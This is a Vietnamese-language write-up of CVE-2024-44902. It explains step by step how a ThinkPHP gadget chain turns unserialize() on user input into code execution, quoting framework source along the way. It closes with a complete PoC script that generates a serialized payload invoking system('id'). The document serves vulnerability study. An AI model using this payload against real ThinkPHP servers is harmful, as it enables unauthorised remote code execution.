---
# System prepended metadata

title: CVE-2024-44902
tags: [Insecure Deserialization]

---

## Overview
**ThinkPHP deserialization vulnerability**
A deserialization vulnerability in Thinkphp v6.1.3 to v8.0.4 allows attackers to execute arbitrary code.
*https://github.com/advisories/GHSA-f4wh-359g-4pq7*

## PHP Deserialize
Qua mô tả có thể thấy thư viện này bị lỗi cho phép chạy bất kì code khi sử dụng hàm `unserialize()` mà không kiểm tra user input.
Mình sẽ dựng lại server với hàm `unserialize()` được control bởi user input.
```php=
public function index()
    {
        unserialize($_GET['x']);
        return 'Indox';
    }
```

Trong PHP, khi gọi hàm `unserialize()` một Object class, sẽ có Magic method được tự động gọi đến, là `__wakeup()` hoặc `__unserialize()`, hoặc cũng có thể là `__destruct()` bởi Object đã được gọi xong và Garbage collector gọi đến.
Dựa vào đây mình sẽ tìm các hàm ở trên để xem Class nào có thể khai thác khi deserialize.
![image](https://hackmd.io/_uploads/SkCzv8eTC.png)
Có khá ít nên có thể đọc từng cái để xem code làm những gì, các Class khác đều đi vào ngõ cụt và chỉ còn Class `ResourceRegister` có thể khai thác.
```php=
    public function __destruct()
    {
        if (!$this->registered) {
            $this->register();
        }
    }
```
Code sẽ check nếu chưa được regsiter thì tiếp tục gọi đến `ResourceRegister::register()`
```php=
    protected function register()
    {
        $this->registered = true;
        
        $this->resource->parseGroupRule($this->resource->getRule());
    }
```
Hàm này gọi đến `resource->parseGroupRule()`, ở đây mình có thể control được `$this->resource` khi khởi tạo Class `ResourceRegister`, vậy mình có thể chỉnh nó thành một Class theo ý mình.
Tuy có thể tùy chỉnh Class theo ý thích nhưng mình lại không tìm được Class nào có hàm `parseGroupRule()` mà mình có thể khai thác được.

PHP có một Magic method được gọi đến khi ta sử dụng một method không tồn tại trong class đó, đó là `__call()`. Thay vì tìm hàm `parseGroupRule()` ban đầu, mình sẽ chuyển qua tìm trong các hàm `__call()` của những class khác.
Có class `DbManager` như sau 
```php=
    public function __call($method, $args)
    {
        return call_user_func_array([$this->connect(), $method], $args);
    }
```
Hàm `__call()` trước khi chạy hàm `call_user_func_array` sẽ phải gọi đến hàm `DbManager::connect()` -> `DbManager::instance()`
```php=
    protected function instance(string $name = null, bool $force = false): ConnectionInterface
    {
        if (empty($name)) {
            $name = $this->getConfig('default', 'mysql'); # $this->config['default']
        }
        
        if ($force || !isset($this->instance[$name])) {
            $this->instance[$name] = $this->createConnection($name);
        }

        return $this->instance[$name];
    }
```
Trước tiên code sẽ gọi đến `DbManager::getConfig()` để lấy ra `$this->config[$key]` mà ở đây $key là `default`. Sau đó gọi đến `DbManager::createConnection()`
```php=
    protected function createConnection(string $name): ConnectionInterface
    {
        $config = $this->getConnectionConfig($name); # $this->config['connections'][$name]

        $type = !empty($config['type']) ? $config['type'] : 'mysql';

        if (str_contains($type, '\\')) {
            $class = $type;
        } else {
            $class = '\\think\\db\\connector\\' . ucfirst($type);
        }

        /** @var ConnectionInterface $connection */
        $connection = new $class($config);
        ...
    }
```
Biến `$connection` sẽ khởi tạo một class mới mà tên class này được lấy từ `$config['type']` với tham số là `$config`. Tất nhiên là 2 biến này mình đều có thể control được khi khởi tạo class `DbManager`.

Khi khởi tạo một class mới, PHP sẽ gọi đến Magic method `__construct()` để khởi tạo cho hàm đó theo param truyền vào. Lúc này chuyển hướng qua tìm các hàm `__construct()` của các class khác.
Vì bất kì class nào cũng đều định nghĩa hàm `__construct()` nên có khá nhiều class để tìm, có class `Memcached` như sau
```php=
    public function __construct(array $options = [])
    {
        ...
        
        if (!empty($options)) {
            $this->options = array_merge($this->options, $options);
        }
        
        $this->handler = new \Memcached;
        
        ...
        
        if ('' != $this->options['username']) {
            $this->handler->setOption(\Memcached::OPT_BINARY_PROTOCOL, true);
            $this->handler->setSaslAuthData($this->options['username'], $this->options['password']);
        }
    }
```
Trước tiên code sẽ merge `$options` được truyền vào với biến `$this->options` có sẵn, sau đó sẽ so sánh `'' != $this->options['username']`.
Thoạt nhìn có vẻ bình thường nhưng lại tiếp tục là một Magic method nữa được gọi. Nếu như biến `$this->options['username']` không phải là một string thì PHP sẽ cố để ép kiểu nó qua string để có thể so sánh. Khi so sánh, PHP sẽ gọi đến hàm `__toString()` nếu nó được định nghĩa trong object.
Mình lại tiếp tục tìm các class có hàm `__toString()`. Có class `Pivot` được kế thừa từ abstract class `Models` sẽ gọi đến `__toString()` -> `toJson()` -> `toArray()` như sau
```php=
    public function toArray(): array
    {
        ...
        $data = array_merge($this->data, $this->relation);

        foreach ($data as $key => $val) {
            ... 
            } elseif (!isset($hidden[$key]) && !$hasVisible) {
                $item[$key] = $this->getAttr($key);
            }
            ...
    }
```
Biến `$data` sẽ được merge từ `$this->data` và `$this->relation` sau đó loop qua các item của biến, tiếp tục gọi đến hàm `getAttr($key)`
```php=
    public function getAttr(string $name)
    {
        try {
            $relation = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $relation = $this->isRelationAttr($name);
            $value    = null;
        }

        return $this->getValue($name, $value, $relation);
    }
```
Biến `$value` đơn giản là trả về giá trị của `$this->data[$fieldName]`, sau đó gọi đến hàm `getValue($name, $value)`
```php=
    protected function getValue(string $name, $value, bool | string $relation = false)
    {
        $fieldName = $this->getRealFieldName($name);
        ...
        if (isset($this->withAttr[$fieldName])) {
            ...
            if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
                $value = $this->getJsonValue($fieldName, $value);
            }
            ...
        }
        ...
    }
```
Code sẽ kiểm tra một số điều kiện với `$this->withAttr` và `$this->json`, tuy nhiên 2 biến này ta có thể control nên không vấn đề gì, nếu thỏa thì code sẽ gọi đến `getJsonValue($fieldName, $value)`
```php=
    protected function getJsonValue(string $name, $value)
    {
        if (is_null($value)) {
            return $value;
        }

        foreach ($this->withAttr[$name] as $key => $closure) {
            if ($this->jsonAssoc) {
                $value[$key] = $closure($value[$key] ?? '', $value); 
            } else {
                $value->$key = $closure($value->$key ?? '', $value);
            }
        }
        
        return $value;
    }
```
Đến đây đã là điểm cuối của chain, có thể thấy khá rõ ràng `$value[$key]` được gán giá trị là return value của một hàm. Trong đó mình có thể tùy chỉnh `$closure` cũng như `$value[$key]` để có thể gọi hàm và param theo ý mình.

### Tổng hợp lại gadget chain
`ResourceRegister::__destruct()` -> `ResourceRegister::register()`
-> `DbManager::__call()` -> `DbManager::connect()` -> `DbManager::instance($name, $force)` -> `DbManager::createConnection($name)`
-> `Memcached::__construct()`
-> `Models::__toString()` -> `Models::toJson()` -> `Models::toArray()`
-> `Models::getAttr($key)` -> `Models::getValue($name, $value, $relation)` -> `Models::getJsonValue($fieldName, $value)`

### Hmm
- Có thể trigger một function nguy hiểm khi so sánh object với string (`__toString()`)
- Có thể mở rộng code để tìm kiếm khi gọi đến một function không được định nghĩa (`__call()`)
:::spoiler ...
```php=1
<?php

namespace think\model;
use think\Model;
class Pivot extends Model {}

namespace think;
abstract class Model {
    protected $data = [
        "dox" => ["id"]
    ];
    protected $json = ["dox"];
    protected $withAttr = [
        "dox" => ["system"]
    ];
    protected $jsonAssoc = true;
}

use think\model\Pivot;
class DbManager {
    protected $config = [];

    public function __construct() {
        $this->config["default"] = "domdom";
        $this->config["connections"] = [
                "domdom" => [
                    "type" => "\\think\\cache\\driver\\Memcached",
                    "username" => new Pivot()
                    ]
                ];
            }
        }
        
namespace think\route;
use think\DbManager;
class ResourceRegister {
    protected $registered;
    protected $resource;

    public function __construct() {
        $this->registered = false;
        $this->resource = new DbManager();
    }
}


$rr = new ResourceRegister();
$ser = serialize($rr);

echo(urlencode($ser));
```
:::